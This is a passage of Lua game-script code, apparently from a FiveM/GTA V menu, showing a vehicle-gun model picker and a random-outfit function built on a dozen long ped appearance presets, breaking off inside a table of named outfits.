hitCoords.y, hitCoords.z) end end end return rayEnd end function assembledMenuFunctions.getVehicleGunSpawnModel() local selectedIndex = menu.vars do local found = false repeat repeat if selectedIndex then selectedIndex = menu.vars.selectors if not selectedIndex then break end selectedIndex = menu.vars.selectors.shootCustomVehicleSelector if selectedIndex then found = true break end end until true if found then break end selectedIndex = 1 until true end if selectedIndex == 2 then local customModel = menu.vars if customModel then customModel = menu.vars.textInputs if customModel then customModel = menu.vars.textInputs.vehicleGunCustomModel end end if customModel then if customModel ~= "" then return string.lower(customModel) end end local fallback = menu.utils.pickNearbyVehicleFallbackModel() if not fallback then fallback = "xls" end return fallback end local model = menu.utils.pickNearbyWhitelistedCarModel(500.0) if model then return model end model = menu.utils.pickNearbyVehicleFallbackModel() if not model then model = "xls" end return model end function assembledMenuFunctions.changeRandomOutfit() local outfitPresets = {} do local outfitPreset1 = {} outfitPreset1.sex = 0 outfitPreset1.face = 0 outfitPreset1.skin = 0 outfitPreset1.hb_s1 = 1 outfitPreset1.hb_s2 = 1 outfitPreset1.hb_s3 = 1 outfitPreset1.hb_t1 = 2 outfitPreset1.hb_t2 = 2 outfitPreset1.hb_t3 = 2 outfitPreset1.hair_1 = 73 outfitPreset1.hair_2 = 0 outfitPreset1.hair_color_1 = 0 outfitPreset1.hair_color_2 = 0 outfitPreset1.eye_color = 10 outfitPreset1.beard_1 = 3 outfitPreset1.beard_opacity = 3.0 outfitPreset1.beard_3 = 0 outfitPreset1.beard_4 = 0 outfitPreset1.eyebrows_1 = 255 outfitPreset1.eyebrows_opacity = 0.0 outfitPreset1.eyebrows_3 = 0 outfitPreset1.eyebrows_4 = 0 outfitPreset1.tshirt_1 = 15 outfitPreset1.tshirt_2 = 0 outfitPreset1.torso_1 = 126 outfitPreset1.torso_2 = 0 outfitPreset1.arms = 4 outfitPreset1.arms_2 = 0 outfitPreset1.decals_1 = 0 outfitPreset1.decals_2 = 0 outfitPreset1.pants_1 = 1 outfitPreset1.pants_2 = 15 outfitPreset1.shoes_1 = 12 outfitPreset1.shoes_2 = 0 outfitPreset1.mask_1 = 0 outfitPreset1.mask_2 = 0 outfitPreset1.bproof_1 = 0 outfitPreset1.bproof_2 = 0 outfitPreset1.chain_1 = 0 outfitPreset1.chain_2 = 0 outfitPreset1.bags_1 = 0 outfitPreset1.bags_2 = 0 outfitPreset1.helmet_1 = -1 outfitPreset1.helmet_2 = -1 outfitPreset1.glasses_1 = 10 outfitPreset1.glasses_2 = 0 outfitPreset1.ears_1 = -1 outfitPreset1.ears_2 = -1 local outfitPreset2 = {} outfitPreset2.sex = 0 outfitPreset2.face = 0 outfitPreset2.skin = 0 outfitPreset2.hb_s1 = 1 outfitPreset2.hb_s2 = 1 outfitPreset2.hb_s3 = 1 outfitPreset2.hb_t1 = 1 outfitPreset2.hb_t2 = 1 outfitPreset2.hb_t3 = 1 outfitPreset2.hair_1 = 9 outfitPreset2.hair_2 = 0 outfitPreset2.hair_color_1 = 26 outfitPreset2.hair_color_2 = 0 outfitPreset2.eye_color = 10 outfitPreset2.beard_1 = 11 outfitPreset2.beard_opacity = 11.0 outfitPreset2.beard_3 = 0 outfitPreset2.beard_4 = 0 outfitPreset2.eyebrows_1 = 255 outfitPreset2.eyebrows_opacity = 0.0 outfitPreset2.eyebrows_3 = 0 outfitPreset2.eyebrows_4 = 0 outfitPreset2.tshirt_1 = 22 outfitPreset2.tshirt_2 = 4 outfitPreset2.torso_1 = 137 outfitPreset2.torso_2 = 0 outfitPreset2.arms = 4 outfitPreset2.arms_2 = 0 outfitPreset2.decals_1 = 0 outfitPreset2.decals_2 = 0 outfitPreset2.pants_1 = 20 outfitPreset2.pants_2 = 0 outfitPreset2.shoes_1 = 18 outfitPreset2.shoes_2 = 0 outfitPreset2.mask_1 = 0 outfitPreset2.mask_2 = 0 outfitPreset2.bproof_1 = 0 outfitPreset2.bproof_2 = 0 outfitPreset2.chain_1 = 0 outfitPreset2.chain_2 = 0 outfitPreset2.bags_1 = 0 outfitPreset2.bags_2 = 0 outfitPreset2.helmet_1 = -1 outfitPreset2.helmet_2 = -1 outfitPreset2.glasses_1 = 0 outfitPreset2.glasses_2 = 0 outfitPreset2.ears_1 = -1 outfitPreset2.ears_2 = -1 local outfitPreset3 = {} outfitPreset3.sex = 0 outfitPreset3.face = 0 outfitPreset3.skin = 0 outfitPreset3.hb_s1 = 1 outfitPreset3.hb_s2 = 1 outfitPreset3.hb_s3 = 1 outfitPreset3.hb_t1 = 11 outfitPreset3.hb_t2 = 11 outfitPreset3.hb_t3 = 11 outfitPreset3.hair_1 = 15 outfitPreset3.hair_2 = 0 outfitPreset3.hair_color_1 = 27 outfitPreset3.hair_color_2 = 0 outfitPreset3.eye_color = 10 outfitPreset3.beard_1 = 28 outfitPreset3.beard_opacity = 28.0 outfitPreset3.beard_3 = 0 outfitPreset3.beard_4 = 0 outfitPreset3.eyebrows_1 = 255 outfitPreset3.eyebrows_opacity = 0.0 outfitPreset3.eyebrows_3 = 0 outfitPreset3.eyebrows_4 = 0 outfitPreset3.tshirt_1 = 10 outfitPreset3.tshirt_2 = 6 outfitPreset3.torso_1 = 77 outfitPreset3.torso_2 = 2 outfitPreset3.arms = 1 outfitPreset3.arms_2 = 0 outfitPreset3.decals_1 = 0 outfitPreset3.decals_2 = 0 outfitPreset3.pants_1 = 10 outfitPreset3.pants_2 = 1 outfitPreset3.shoes_1 = 20 outfitPreset3.shoes_2 = 11 outfitPreset3.mask_1 = 0 outfitPreset3.mask_2 = 0 outfitPreset3.bproof_1 = 0 outfitPreset3.bproof_2 = 0 outfitPreset3.chain_1 = 0 outfitPreset3.chain_2 = 0 outfitPreset3.bags_1 = 0 outfitPreset3.bags_2 = 0 outfitPreset3.helmet_1 = 7 outfitPreset3.helmet_2 = 3 outfitPreset3.glasses_1 = 3 outfitPreset3.glasses_2 = 7 outfitPreset3.ears_1 = -1 outfitPreset3.ears_2 = -1 local outfitPreset4 = {} outfitPreset4.sex = 0 outfitPreset4.face = 0 outfitPreset4.skin = 0 outfitPreset4.hb_s1 = 1 outfitPreset4.hb_s2 = 1 outfitPreset4.hb_s3 = 1 outfitPreset4.hb_t1 = 1 outfitPreset4.hb_t2 = 1 outfitPreset4.hb_t3 = 1 outfitPreset4.hair_1 = 4 outfitPreset4.hair_2 = 0 outfitPreset4.hair_color_1 = 0 outfitPreset4.hair_color_2 = 0 outfitPreset4.eye_color = 10 outfitPreset4.beard_1 = 3 outfitPreset4.beard_opacity = 3.0 outfitPreset4.beard_3 = 0 outfitPreset4.beard_4 = 0 outfitPreset4.eyebrows_1 = 255 outfitPreset4.eyebrows_opacity = 0.0 outfitPreset4.eyebrows_3 = 0 outfitPreset4.eyebrows_4 = 0 outfitPreset4.tshirt_1 = 13 outfitPreset4.tshirt_2 = 0 outfitPreset4.torso_1 = 23 outfitPreset4.torso_2 = 0 outfitPreset4.arms = 1 outfitPreset4.arms_2 = 0 outfitPreset4.decals_1 = 0 outfitPreset4.decals_2 = 0 outfitPreset4.pants_1 = 49 outfitPreset4.pants_2 = 2 outfitPreset4.shoes_1 = 30 outfitPreset4.shoes_2 = 0 outfitPreset4.mask_1 = 0 outfitPreset4.mask_2 = 0 outfitPreset4.bproof_1 = 0 outfitPreset4.bproof_2 = 0 outfitPreset4.chain_1 = 49 outfitPreset4.chain_2 = 0 outfitPreset4.bags_1 = 0 outfitPreset4.bags_2 = 0 outfitPreset4.helmet_1 = 12 outfitPreset4.helmet_2 = 0 outfitPreset4.glasses_1 = -1 outfitPreset4.glasses_2 = -1 outfitPreset4.ears_1 = -1 outfitPreset4.ears_2 = -1 local outfitPreset5 = {} outfitPreset5.sex = 0 outfitPreset5.face = 0 outfitPreset5.skin = 0 outfitPreset5.hb_s1 = 1 outfitPreset5.hb_s2 = 1 outfitPreset5.hb_s3 = 1 outfitPreset5.hb_t1 = 2 outfitPreset5.hb_t2 = 2 outfitPreset5.hb_t3 = 2 outfitPreset5.hair_1 = 80 outfitPreset5.hair_2 = 0 outfitPreset5.hair_color_1 = 0 outfitPreset5.hair_color_2 = 0 outfitPreset5.eye_color = 10 outfitPreset5.beard_1 = 12 outfitPreset5.beard_opacity = 12.0 outfitPreset5.beard_3 = 0 outfitPreset5.beard_4 = 0 outfitPreset5.eyebrows_1 = 255 outfitPreset5.eyebrows_opacity = 0.0 outfitPreset5.eyebrows_3 = 0 outfitPreset5.eyebrows_4 = 0 outfitPreset5.tshirt_1 = 11 outfitPreset5.tshirt_2 = 0 outfitPreset5.torso_1 = 142 outfitPreset5.torso_2 = 0 outfitPreset5.arms = 12 outfitPreset5.arms_2 = 0 outfitPreset5.decals_1 = 0 outfitPreset5.decals_2 = 0 outfitPreset5.pants_1 = 143 outfitPreset5.pants_2 = 0 outfitPreset5.shoes_1 = 4 outfitPreset5.shoes_2 = 2 outfitPreset5.mask_1 = 0 outfitPreset5.mask_2 = 0 outfitPreset5.bproof_1 = 0 outfitPreset5.bproof_2 = 0 outfitPreset5.chain_1 = 0 outfitPreset5.chain_2 = 0 outfitPreset5.bags_1 = 0 outfitPreset5.bags_2 = 0 outfitPreset5.helmet_1 = -1 outfitPreset5.helmet_2 = -1 outfitPreset5.glasses_1 = 2 outfitPreset5.glasses_2 = 6 outfitPreset5.ears_1 = -1 outfitPreset5.ears_2 = -1 local outfitPreset6 = {} outfitPreset6.sex = 0 outfitPreset6.face = 0 outfitPreset6.skin = 0 outfitPreset6.hb_s1 = 1 outfitPreset6.hb_s2 = 1 outfitPreset6.hb_s3 = 1 outfitPreset6.hb_t1 = 2 outfitPreset6.hb_t2 = 2 outfitPreset6.hb_t3 = 2 outfitPreset6.hair_1 = 80 outfitPreset6.hair_2 = 0 outfitPreset6.hair_color_1 = 0 outfitPreset6.hair_color_2 = 0 outfitPreset6.eye_color = 10 outfitPreset6.beard_1 = 12 outfitPreset6.beard_opacity = 12.0 outfitPreset6.beard_3 = 0 outfitPreset6.beard_4 = 0 outfitPreset6.eyebrows_1 = 255 outfitPreset6.eyebrows_opacity = 0.0 outfitPreset6.eyebrows_3 = 0 outfitPreset6.eyebrows_4 = 0 outfitPreset6.tshirt_1 = 15 outfitPreset6.tshirt_2 = 0 outfitPreset6.torso_1 = 190 outfitPreset6.torso_2 = 0 outfitPreset6.arms = 12 outfitPreset6.arms_2 = 0 outfitPreset6.decals_1 = 0 outfitPreset6.decals_2 = 0 outfitPreset6.pants_1 = 143 outfitPreset6.pants_2 = 0 outfitPreset6.shoes_1 = 24 outfitPreset6.shoes_2 = 0 outfitPreset6.mask_1 = 0 outfitPreset6.mask_2 = 0 outfitPreset6.bproof_1 = 0 outfitPreset6.bproof_2 = 0 outfitPreset6.chain_1 = 0 outfitPreset6.chain_2 = 0 outfitPreset6.bags_1 = 0 outfitPreset6.bags_2 = 0 outfitPreset6.helmet_1 = -1 outfitPreset6.helmet_2 = -1 outfitPreset6.glasses_1 = 2 outfitPreset6.glasses_2 = 6 outfitPreset6.ears_1 = -1 outfitPreset6.ears_2 = -1 local outfitPreset7 = {} outfitPreset7.sex = 0 outfitPreset7.face = 0 outfitPreset7.skin = 0 outfitPreset7.hb_s1 = 1 outfitPreset7.hb_s2 = 1 outfitPreset7.hb_s3 = 1 outfitPreset7.hb_t1 = 2 outfitPreset7.hb_t2 = 2 outfitPreset7.hb_t3 = 2 outfitPreset7.hair_1 = 18 outfitPreset7.hair_2 = 0 outfitPreset7.hair_color_1 = 0 outfitPreset7.hair_color_2 = 0 outfitPreset7.eye_color = 10 outfitPreset7.beard_1 = 9 outfitPreset7.beard_opacity = 9.0 outfitPreset7.beard_3 = 0 outfitPreset7.beard_4 = 0 outfitPreset7.eyebrows_1 = 255 outfitPreset7.eyebrows_opacity = 0.0 outfitPreset7.eyebrows_3 = 0 outfitPreset7.eyebrows_4 = 0 outfitPreset7.tshirt_1 = 21 outfitPreset7.tshirt_2 = 0 outfitPreset7.torso_1 = 115 outfitPreset7.torso_2 = 0 outfitPreset7.arms = 17 outfitPreset7.arms_2 = 0 outfitPreset7.decals_1 = 0 outfitPreset7.decals_2 = 0 outfitPreset7.pants_1 = 24 outfitPreset7.pants_2 = 0 outfitPreset7.shoes_1 = 21 outfitPreset7.shoes_2 = 0 outfitPreset7.mask_1 = 0 outfitPreset7.mask_2 = 0 outfitPreset7.bproof_1 = 0 outfitPreset7.bproof_2 = 0 outfitPreset7.chain_1 = 0 outfitPreset7.chain_2 = 0 outfitPreset7.bags_1 = 0 outfitPreset7.bags_2 = 0 outfitPreset7.helmet_1 = 61 outfitPreset7.helmet_2 = 8 outfitPreset7.glasses_1 = -1 outfitPreset7.glasses_2 = -1 outfitPreset7.ears_1 = -1 outfitPreset7.ears_2 = -1 local outfitPreset8 = {} outfitPreset8.sex = 0 outfitPreset8.face = 0 outfitPreset8.skin = 0 outfitPreset8.hb_s1 = 1 outfitPreset8.hb_s2 = 1 outfitPreset8.hb_s3 = 1 outfitPreset8.hb_t1 = 2 outfitPreset8.hb_t2 = 2 outfitPreset8.hb_t3 = 2 outfitPreset8.hair_1 = 18 outfitPreset8.hair_2 = 0 outfitPreset8.hair_color_1 = 56 outfitPreset8.hair_color_2 = 25 outfitPreset8.eye_color = 10 outfitPreset8.beard_1 = 11 outfitPreset8.beard_opacity = 11.0 outfitPreset8.beard_3 = 0 outfitPreset8.beard_4 = 0 outfitPreset8.eyebrows_1 = 255 outfitPreset8.eyebrows_opacity = 0.0 outfitPreset8.eyebrows_3 = 0 outfitPreset8.eyebrows_4 = 0 outfitPreset8.tshirt_1 = 31 outfitPreset8.tshirt_2 = 1 outfitPreset8.torso_1 = 31 outfitPreset8.torso_2 = 1 outfitPreset8.arms = 20 outfitPreset8.arms_2 = 0 outfitPreset8.decals_1 = 0 outfitPreset8.decals_2 = 0 outfitPreset8.pants_1 = 28 outfitPreset8.pants_2 = 8 outfitPreset8.shoes_1 = 28 outfitPreset8.shoes_2 = 0 outfitPreset8.mask_1 = 0 outfitPreset8.mask_2 = 0 outfitPreset8.bproof_1 = 0 outfitPreset8.bproof_2 = 0 outfitPreset8.chain_1 = 0 outfitPreset8.chain_2 = 0 outfitPreset8.bags_1 = 0 outfitPreset8.bags_2 = 0 outfitPreset8.helmet_1 = 94 outfitPreset8.helmet_2 = 5 outfitPreset8.glasses_1 = 0 outfitPreset8.glasses_2 = 0 outfitPreset8.ears_1 = -1 outfitPreset8.ears_2 = -1 local outfitPreset9 = {} outfitPreset9.sex = 0 outfitPreset9.face = 0 outfitPreset9.skin = 0 outfitPreset9.hb_s1 = 1 outfitPreset9.hb_s2 = 1 outfitPreset9.hb_s3 = 1 outfitPreset9.hb_t1 = 3 outfitPreset9.hb_t2 = 3 outfitPreset9.hb_t3 = 3 outfitPreset9.hair_1 = 9 outfitPreset9.hair_2 = 0 outfitPreset9.hair_color_1 = 0 outfitPreset9.hair_color_2 = 0 outfitPreset9.eye_color = 10 outfitPreset9.beard_1 = 27 outfitPreset9.beard_opacity = 27.0 outfitPreset9.beard_3 = 0 outfitPreset9.beard_4 = 0 outfitPreset9.eyebrows_1 = 255 outfitPreset9.eyebrows_opacity = 0.0 outfitPreset9.eyebrows_3 = 0 outfitPreset9.eyebrows_4 = 0 outfitPreset9.tshirt_1 = 15 outfitPreset9.tshirt_2 = 0 outfitPreset9.torso_1 = 14 outfitPreset9.torso_2 = 5 outfitPreset9.arms = 12 outfitPreset9.arms_2 = 0 outfitPreset9.decals_1 = 0 outfitPreset9.decals_2 = 0 outfitPreset9.pants_1 = 1 outfitPreset9.pants_2 = 3 outfitPreset9.shoes_1 = 104 outfitPreset9.shoes_2 = 0 outfitPreset9.mask_1 = 0 outfitPreset9.mask_2 = 0 outfitPreset9.bproof_1 = 0 outfitPreset9.bproof_2 = 0 outfitPreset9.chain_1 = 92 outfitPreset9.chain_2 = 1 outfitPreset9.bags_1 = 0 outfitPreset9.bags_2 = 0 outfitPreset9.helmet_1 = -1 outfitPreset9.helmet_2 = -1 outfitPreset9.glasses_1 = 57 outfitPreset9.glasses_2 = 4 outfitPreset9.ears_1 = -1 outfitPreset9.ears_2 = -1 local outfitPreset10 = {} outfitPreset10.sex = 0 outfitPreset10.face = 0 outfitPreset10.skin = 0 outfitPreset10.hb_s1 = 1 outfitPreset10.hb_s2 = 1 outfitPreset10.hb_s3 = 1 outfitPreset10.hb_t1 = 0 outfitPreset10.hb_t2 = 0 outfitPreset10.hb_t3 = 0 outfitPreset10.hair_1 = 21 outfitPreset10.hair_2 = 0 outfitPreset10.hair_color_1 = 28 outfitPreset10.hair_color_2 = 29 outfitPreset10.eye_color = 5 outfitPreset10.beard_1 = 10 outfitPreset10.beard_opacity = 10.0 outfitPreset10.beard_3 = 0 outfitPreset10.beard_4 = 0 outfitPreset10.eyebrows_1 = 0 outfitPreset10.eyebrows_opacity = 1.0 outfitPreset10.eyebrows_3 = 0 outfitPreset10.eyebrows_4 = 0 outfitPreset10.tshirt_1 = 15 outfitPreset10.tshirt_2 = 0 outfitPreset10.torso_1 = 313 outfitPreset10.torso_2 = 12 outfitPreset10.arms = 41 outfitPreset10.arms_2 = 0 outfitPreset10.decals_1 = 0 outfitPreset10.decals_2 = 0 outfitPreset10.pants_1 = 24 outfitPreset10.pants_2 = 0 outfitPreset10.shoes_1 = 1 outfitPreset10.shoes_2 = 1 outfitPreset10.mask_1 = 0 outfitPreset10.mask_2 = 0 outfitPreset10.bproof_1 = 0 outfitPreset10.bproof_2 = 0 outfitPreset10.chain_1 = 0 outfitPreset10.chain_2 = 0 outfitPreset10.bags_1 = 0 outfitPreset10.bags_2 = 0 outfitPreset10.helmet_1 = -1 outfitPreset10.helmet_2 = -1 outfitPreset10.glasses_1 = 5 outfitPreset10.glasses_2 = 1 outfitPreset10.ears_1 = -1 outfitPreset10.ears_2 = -1 local outfitPreset11 = {} outfitPreset11.sex = 0 outfitPreset11.face = 0 outfitPreset11.skin = 0 outfitPreset11.hb_s1 = 1 outfitPreset11.hb_s2 = 1 outfitPreset11.hb_s3 = 1 outfitPreset11.hb_t1 = 0 outfitPreset11.hb_t2 = 0 outfitPreset11.hb_t3 = 0 outfitPreset11.hair_1 = 12 outfitPreset11.hair_2 = 0 outfitPreset11.hair_color_1 = 0 outfitPreset11.hair_color_2 = 0 outfitPreset11.eye_color = 0 outfitPreset11.beard_1 = 10 outfitPreset11.beard_opacity = 10.0 outfitPreset11.beard_3 = 0 outfitPreset11.beard_4 = 0 outfitPreset11.eyebrows_1 = 255 outfitPreset11.eyebrows_opacity = 0.0 outfitPreset11.eyebrows_3 = 0 outfitPreset11.eyebrows_4 = 0 outfitPreset11.tshirt_1 = 15 outfitPreset11.tshirt_2 = 0 outfitPreset11.torso_1 = 126 outfitPreset11.torso_2 = 14 outfitPreset11.arms = 11 outfitPreset11.arms_2 = 0 outfitPreset11.decals_1 = 0 outfitPreset11.decals_2 = 0 outfitPreset11.pants_1 = 43 outfitPreset11.pants_2 = 0 outfitPreset11.shoes_1 = 1 outfitPreset11.shoes_2 = 1 outfitPreset11.mask_1 = 0 outfitPreset11.mask_2 = 0 outfitPreset11.bproof_1 = 0 outfitPreset11.bproof_2 = 0 outfitPreset11.chain_1 = 0 outfitPreset11.chain_2 = 0 outfitPreset11.bags_1 = 0 outfitPreset11.bags_2 = 0 outfitPreset11.helmet_1 = 12 outfitPreset11.helmet_2 = 2 outfitPreset11.glasses_1 = 5 outfitPreset11.glasses_2 = 2 outfitPreset11.ears_1 = -1 outfitPreset11.ears_2 = -1 local outfitPreset12 = {} outfitPreset12.sex = 0 outfitPreset12.face = 0 outfitPreset12.skin = 0 outfitPreset12.hb_s1 = 1 outfitPreset12.hb_s2 = 1 outfitPreset12.hb_s3 = 1 outfitPreset12.hb_t1 = 0 outfitPreset12.hb_t2 = 0 outfitPreset12.hb_t3 = 0 outfitPreset12.hair_1 = 15 outfitPreset12.hair_2 = 0 outfitPreset12.hair_color_1 = 0 outfitPreset12.hair_color_2 = 0 outfitPreset12.eye_color = 10 outfitPreset12.beard_1 = 9 outfitPreset12.beard_opacity = 9.0 outfitPreset12.beard_3 = 0 outfitPreset12.beard_4 = 0 outfitPreset12.eyebrows_1 = 255 outfitPreset12.eyebrows_opacity = 0.0 outfitPreset12.eyebrows_3 = 0 outfitPreset12.eyebrows_4 = 0 outfitPreset12.tshirt_1 = 21 outfitPreset12.tshirt_2 = 0 outfitPreset12.torso_1 = 115 outfitPreset12.torso_2 = 0 outfitPreset12.arms = 12 outfitPreset12.arms_2 = 0 outfitPreset12.decals_1 = 0 outfitPreset12.decals_2 = 0 outfitPreset12.pants_1 = 24 outfitPreset12.pants_2 = 0 outfitPreset12.shoes_1 = 21 outfitPreset12.shoes_2 = 0 outfitPreset12.mask_1 = 0 outfitPreset12.mask_2 = 0 outfitPreset12.bproof_1 = 0 outfitPreset12.bproof_2 = 0 outfitPreset12.chain_1 = 10 outfitPreset12.chain_2 = 2 outfitPreset12.bags_1 = 0 outfitPreset12.bags_2 = 0 outfitPreset12.helmet_1 = -1 outfitPreset12.helmet_2 = -1 outfitPreset12.glasses_1 = -1 outfitPreset12.glasses_2 = -1 outfitPreset12.ears_1 = -1 outfitPreset12.ears_2 = -1 outfitPresets[1] = outfitPreset1 outfitPresets[2] = outfitPreset2 outfitPresets[3] = outfitPreset3 outfitPresets[4] = outfitPreset4 outfitPresets[5] = outfitPreset5 outfitPresets[6] = outfitPreset6 outfitPresets[7] = outfitPreset7 outfitPresets[8] = outfitPreset8 outfitPresets[9] = outfitPreset9 outfitPresets[10] = outfitPreset10 outfitPresets[11] = outfitPreset11 outfitPresets[12] = outfitPreset12 end local presetCount = #outfitPresets local selectedIndex = nil if lastRandomOutfitIndex == nil then selectedIndex = math.random(1, presetCount) else local availableIndices = {} for index = 1, presetCount, 1 do if index ~= lastRandomOutfitIndex then availableIndices[#availableIndices + 1] = index end end selectedIndex = availableIndices[math.random(1, #availableIndices)] end lastRandomOutfitIndex = selectedIndex local selectedOutfit = outfitPresets[selectedIndex] local outfitPed = PlayerPedId() local savedWeapons = menu.utils.savePlayerWeapons() local savedVehicle = menu.utils.savePlayerVehicle() local desiredModelHash = nil if selectedOutfit.sex ~= nil then if selectedOutfit.sex == 0 then desiredModelHash = GetHashKey("mp_m_freemode_01") else desiredModelHash = GetHashKey("mp_f_freemode_01") end end if desiredModelHash ~= nil then if desiredModelHash ~= GetEntityModel(outfitPed) then RequestModel(desiredModelHash) while not HasModelLoaded(desiredModelHash) do Citizen.Wait(0) RequestModel(desiredModelHash) end SetPlayerModel(PlayerId(), desiredModelHash) SetModelAsNoLongerNeeded(desiredModelHash) outfitPed = PlayerPedId() SetPedDefaultComponentVariation(outfitPed) end end menu.utils.restorePlayerWeapons(savedWeapons) menu.utils.restorePlayerVehicle(savedVehicle) local face = selectedOutfit.face if not face then face = 0 end local skin = selectedOutfit.skin if not skin then skin = 0 end SetPedHeadBlendData( outfitPed, selectedOutfit.hb_s1 or face, selectedOutfit.hb_s2 or face, selectedOutfit.hb_s3 or face, selectedOutfit.hb_t1 or skin, selectedOutfit.hb_t2 or skin, selectedOutfit.hb_t3 or skin, selectedOutfit.hb_m1 or 1.0, selectedOutfit.hb_m2 or 1.0, selectedOutfit.hb_m3 or 1.0, true ) SetPedComponentVariation(outfitPed, 2, selectedOutfit.hair_1 or 0, selectedOutfit.hair_2 or 0, 2) local primaryHairColor = selectedOutfit.hair_color_1 if not primaryHairColor then primaryHairColor = 0 end local secondaryHairColor = selectedOutfit.hair_color_2 repeat if secondaryHairColor ~= nil then secondaryHairColor = selectedOutfit.hair_color_2 if secondaryHairColor then break end end secondaryHairColor = selectedOutfit.hair_color_1 if not secondaryHairColor then secondaryHairColor = 0 end until true SetPedHairColor(outfitPed, primaryHairColor, secondaryHairColor) SetPedEyeColor(outfitPed, selectedOutfit.eye_color or 10) if selectedOutfit.beard_1 ~= nil then local beardOpacity = selectedOutfit.beard_opacity if beardOpacity == nil then beardOpacity = (selectedOutfit.beard_2 or 10) / 10.0 end SetPedHeadOverlay(outfitPed, 1, selectedOutfit.beard_1, beardOpacity) SetPedHeadOverlayColor(outfitPed, 1, 1, selectedOutfit.beard_3 or 0, selectedOutfit.beard_4 or 0) end if selectedOutfit.age_1 ~= nil then SetPedHeadOverlay(outfitPed, 3, selectedOutfit.age_1, (selectedOutfit.age_2 or 10) / 10.0) end if selectedOutfit.eyebrows_1 ~= nil then local eyebrowOpacity = selectedOutfit.eyebrows_opacity if eyebrowOpacity == nil then eyebrowOpacity = (selectedOutfit.eyebrows_2 or 10) / 10.0 end SetPedHeadOverlay(outfitPed, 2, selectedOutfit.eyebrows_1, eyebrowOpacity) SetPedHeadOverlayColor(outfitPed, 2, 1, selectedOutfit.eyebrows_3 or 0, selectedOutfit.eyebrows_4 or 0) end if selectedOutfit.makeup_1 ~= nil then SetPedHeadOverlay(outfitPed, 4, selectedOutfit.makeup_1, (selectedOutfit.makeup_2 or 10) / 10.0) SetPedHeadOverlayColor(outfitPed, 4, 1, selectedOutfit.makeup_3 or 0, selectedOutfit.makeup_4 or 0) end if selectedOutfit.lipstick_1 ~= nil then SetPedHeadOverlay(outfitPed, 8, selectedOutfit.lipstick_1, (selectedOutfit.lipstick_2 or 10) / 10.0) SetPedHeadOverlayColor(outfitPed, 8, 1, selectedOutfit.lipstick_3 or 0, selectedOutfit.lipstick_4 or 0) end SetPedComponentVariation(outfitPed, 8, selectedOutfit.tshirt_1 or 0, selectedOutfit.tshirt_2 or 0, 2) SetPedComponentVariation(outfitPed, 11, selectedOutfit.torso_1 or 0, selectedOutfit.torso_2 or 0, 2) SetPedComponentVariation(outfitPed, 3, selectedOutfit.arms or 0, selectedOutfit.arms_2 or 0, 2) SetPedComponentVariation(outfitPed, 10, selectedOutfit.decals_1 or 0, selectedOutfit.decals_2 or 0, 2) SetPedComponentVariation(outfitPed, 4, selectedOutfit.pants_1 or 0, selectedOutfit.pants_2 or 0, 2) SetPedComponentVariation(outfitPed, 6, selectedOutfit.shoes_1 or 0, selectedOutfit.shoes_2 or 0, 2) SetPedComponentVariation(outfitPed, 1, selectedOutfit.mask_1 or 0, selectedOutfit.mask_2 or 0, 2) SetPedComponentVariation(outfitPed, 9, selectedOutfit.bproof_1 or 0, selectedOutfit.bproof_2 or 0, 2) SetPedComponentVariation(outfitPed, 7, selectedOutfit.chain_1 or 0, selectedOutfit.chain_2 or 0, 2) SetPedComponentVariation(outfitPed, 5, selectedOutfit.bags_1 or 0, selectedOutfit.bags_2 or 0, 2) if selectedOutfit.helmet_1 ~= nil then if 0 <= selectedOutfit.helmet_1 then SetPedPropIndex(outfitPed, 0, selectedOutfit.helmet_1, selectedOutfit.helmet_2 or 0, true) else ClearPedProp(outfitPed, 0) end end if selectedOutfit.glasses_1 ~= nil then if 0 <= selectedOutfit.glasses_1 then SetPedPropIndex(outfitPed, 1, selectedOutfit.glasses_1, selectedOutfit.glasses_2 or 0, true) else ClearPedProp(outfitPed, 1) end end if selectedOutfit.ears_1 ~= nil then if 0 <= selectedOutfit.ears_1 then SetPedPropIndex(outfitPed, 2, selectedOutfit.ears_1, selectedOutfit.ears_2 or 0, true) else ClearPedProp(outfitPed, 2) end end end pendingFunctionValue = {} pendingFunctionValue[1] = "Black star" pendingFunctionValue[2] = "Suit" pendingFunctionValue[3] = "Grey" pendingFunctionValue[4] = "Holy inder" pendingFunctionValue[5] = "Blacky" pendingFunctionValue[6] = "k9" pendingFunctionValue[7] = "Angry joe" pendingFunctionValue[8] = "Guy" assembledMenuFunctions.normalOutfitChoices = pendingFunctionValue pendingFunctionValue = {} pendingMenuEntry17 = {} pendingMenuEntry17.sex = 0 pendingMenuEntry17.face = 36 pendingMenuEntry17.skin = 5 pendingMenuEntry17.hair_1 = 16 pendingMenuEntry17.hair_2 = 0 pendingMenuEntry17.hair_color_1 = 29 pendingMenuEntry17.hair_color_2 = 0 pendingMenuEntry17.eye_color = 10 pendingMenuEntry17.beard_1 = 3 pendingMenuEntry17.beard_opacity = 3.0 pendingMenuEntry17.beard_3 = 1 pendingMenuEntry17.beard_4 = 0 pendingMenuEntry17.eyebrows_1 = 2 pendingMenuEntry17.eyebrows_opacity = 1.0 pendingMenuEntry17.eyebrows_3 = 1 pendingMenuEntry17.eyebrows_4 = 0 pendingMenuEntry17.tshirt_1 = 15 pendingMenuEntry17.tshirt_2 = 0 pendingMenuEntry17.torso_1 = 49 pendingMenuEntry17.torso_2 = 0 pendingMenuEntry17.arms = 6 pendingMenuEntry17.decals_1 = 0 pendingMenuEntry17.decals_2 = 0 pendingMenuEntry17.pants_1 = 60 pendingMenuEntry17.pants_2 = 10 pendingMenuEntry17.shoes_1 = 7 pendingMenuEntry17.shoes_2 = 2 pendingMenuEntry17.mask_1 = 0 pendingMenuEntry17.mask_2 = 0 pendingMenuEntry17.bproof_1 = 15 pendingMenuEntry17.bproof_2 = 2 pendingMenuEntry17.chain_1 = 0 pendingMenuEntry17.chain_2 = 0 pendingMenuEntry17.bags_1 = 0 pendingMenuEntry17.bags_2 = 0 pendingMenuEntry17.helmet_1 = 34 pendingMenuEntry17.helmet_2 = 0 pendingMenuEntry17.glasses_1 = 29 pendingMenuEntry17.glasses_2 = 19 pendingMenuEntry17.ears_1 = -1 pendingMenuEntry17.ears_2 = -1 pendingFunctionValue["Black star"] = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.sex = 0 pendingMenuEntry17.face = 2 pendingMenuEntry17.skin = 9 pendingMenuEntry17.hair_1 = 19 pendingMenuEntry17.hair_2 = 0 pendingMenuEntry17.hair_color_1 = 0 pendingMenuEntry17.hair_color_2 = 0 pendingMenuEntry17.eye_color = 10 pendingMenuEntry17.beard_1 = 2 pendingMenuEntry17.beard_opacity = 2.0 